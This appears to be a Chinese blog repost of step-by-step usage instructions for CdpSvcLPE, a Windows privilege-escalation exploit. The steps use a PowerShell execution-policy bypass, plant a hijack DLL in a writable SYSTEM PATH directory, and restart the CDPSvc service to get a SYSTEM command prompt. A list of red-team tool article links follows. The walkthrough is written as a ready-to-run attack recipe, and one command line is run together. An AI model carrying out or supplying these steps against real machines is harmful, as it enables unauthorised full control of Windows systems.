用法：

1. 使用 acltest.ps1 查找 Writable SYSTEM PATH（例如 C:\python27）

   C:\CdpSvcLPE> powershell -ep bypass ". .\acltest.ps1"

2. 将 cdpsgshims.dll 复制到 C:\python27
   

3. 制作 C:\temp 文件夹并将 impersonate.bin 复制到 C:\temp
   
   

   C:\CdpSvcLPE> mkdir C:\tempC:\CdpSvcLPE> copy impersonate.bin C:\temp

4. 重新启动（或以管理员身份停止/启动 CDPSvc）
   

5. cmd 将提示nt authority\system.

注意：当你得到系统 cmd 提示时，停止 cdpsvc 服务并删除 dll 文件和 bin 文件。

https://github.com/sailay1996/CdpSvcLPE

好文推荐

红队打点评估工具推荐

干货|红队项目日常渗透笔记

实战|后台getshell+提权一把梭

一款漏洞查找器（挖漏洞的有力工具）

神兵利器 | 附下载 · 红队信息搜集扫描打点利器

神兵利器 | 分享 直接上手就用的内存马（附下载）

推荐一款自动向hackerone发送漏洞报告的扫描器

欢迎关注 系统安全运维